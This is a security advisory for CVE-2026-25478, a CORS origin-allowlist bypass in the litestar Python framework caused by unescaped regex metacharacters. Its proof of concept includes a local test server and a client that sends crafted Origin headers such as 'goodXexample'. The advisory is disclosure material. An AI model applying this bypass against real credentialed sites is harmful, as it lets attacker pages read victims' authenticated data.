GHSA-2P2X-HPG8-CQP2
Vulnerability from github – Published: 2026-02-09 17:18 – Updated: 2026-02-09 22:38Summary
CORS origin validation can be bypassed because the allowed-origins allowlist is compiled into a regex without escaping metacharacters (notably .). An allowed origin like https://good.example can match https://goodXexample, resulting in Access-Control-Allow-Origin being set for an untrusted origin
Details
CORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin).
PoC
Server (poc_cors_server.py)
from litestar import Litestar, get
from litestar.config.cors import CORSConfig
@get("/c")
async def c() -> str:
return "ok"
cors = CORSConfig(
allow_origins=["https://good.example"],
allow_credentials=True,
)
app = Litestar([c], cors_config=cors)
uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002
Client (poc_cors_client.py)
import http.client
def req(origin: str) -> tuple[int, str | None]:
c = http.client.HTTPConnection("127.0.0.1", 8002, timeout=3)
c.request("GET", "/c", headers={"Origin": origin, "Host": "example.com"})
r = c.getresponse()
r.read()
acao = r.getheader("Access-Control-Allow-Origin")
c.close()
return r.status, acao
print("evil:", req("https://evil.example"))
print("bypass:", req("https://goodXexample"))
Expected (vulnerable behavior):
Origin: https://evil.example → no ACAO Origin: https://goodXexample → ACAO: https://goodxexample/ (bypass)
Impact
Type: CORS policy bypass (cross-origin data exposure risk) Who is impacted: apps using CORS allowlists to restrict browser cross-origin reads. If allow_credentials=True and authenticated endpoints return sensitive data, an attacker-controlled site can potentially read responses in a victim’s browser session.
{
"affected": [
{
"package": {
"ecosystem": "PyPI",
"name": "litestar"
},
"ranges": [
{
"events": [
{
"introduced": "2.19.0"
},
{
"fixed": "2.20.0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"2.19.0"
]
}
],
"aliases": [
"CVE-2026-25478"
],
"database_specific": {
"cwe_ids": [
"CWE-942"
],
"github_reviewed": true,
"github_reviewed_at": "2026-02-09T17:18:52Z",
"nvd_published_at": "2026-02-09T20:15:57Z",
"severity": "HIGH"
},
"details": "### Summary\nCORS origin validation can be bypassed because the allowed-origins allowlist is compiled into a regex without escaping metacharacters (notably .). An allowed origin like https://good.example can match https://goodXexample, resulting in Access-Control-Allow-Origin being set for an untrusted origin\n\n### Details\nCORSConfig.allowed_origins_regex is constructed using a regex built from configured allowlist values and used with fullmatch() for validation. Because metacharacters are not escaped, a malicious origin can match unexpectedly. The check relies on allowed_origins_regex.fullmatch(origin).\n\n### PoC\nServer (poc_cors_server.py)\n\n```\nfrom litestar import Litestar, get\nfrom litestar.config.cors import CORSConfig\n\n@get(\"/c\")\nasync def c() -\u003e str:\n return \"ok\"\n\ncors = CORSConfig(\n allow_origins=[\"https://good.example\"],\n allow_credentials=True,\n)\napp = Litestar([c], cors_config=cors)\n```\n\n`uvicorn poc_cors_server:app --host 127.0.0.1 --port 8002`\n\nClient (poc_cors_client.py)\n\n```\nimport http.client\n\ndef req(origin: str) -\u003e tuple[int, str | None]:\n c = http.client.HTTPConnection(\"127.0.0.1\", 8002, timeout=3)\n c.request(\"GET\", \"/c\", headers={\"Origin\": origin, \"Host\": \"example.com\"})\n r = c.getresponse()\n r.read()\n acao = r.getheader(\"Access-Control-Allow-Origin\")\n c.close()\n return r.status, acao\n\nprint(\"evil:\", req(\"https://evil.example\"))\nprint(\"bypass:\", req(\"https://goodXexample\")) \n```\n\nExpected (vulnerable behavior):\n\nOrigin: https://evil.example \u2192 no ACAO\nOrigin: https://goodXexample \u2192 ACAO: https://goodxexample/ (bypass)\n\n### Impact\nType: CORS policy bypass (cross-origin data exposure risk)\nWho is impacted: apps using CORS allowlists to restrict browser cross-origin reads. If allow_credentials=True and authenticated endpoints return sensitive data, an attacker-controlled site can potentially read responses in a victim\u2019s browser session.",
"id": "GHSA-2p2x-hpg8-cqp2",
"modified": "2026-02-09T22:38:05Z",
"published": "2026-02-09T17:18:52Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/security/advisories/GHSA-2p2x-hpg8-cqp2"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-25478"
},
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/commit/eb87703b309efcc0d1b087dcb12784e76b003d5a"
},
{
"type": "WEB",
"url": "https://docs.litestar.dev/2/release-notes/changelog.html#2.20.0"
},
{
"type": "PACKAGE",
"url": "https://github.com/litestar-org/litestar"
},
{
"type": "WEB",
"url": "https://github.com/litestar-org/litestar/releases/tag/v2.20.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Litestar\u0027s CORS origin allowlist has a bypass due to unescaped regex metacharacters in allowed origins"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.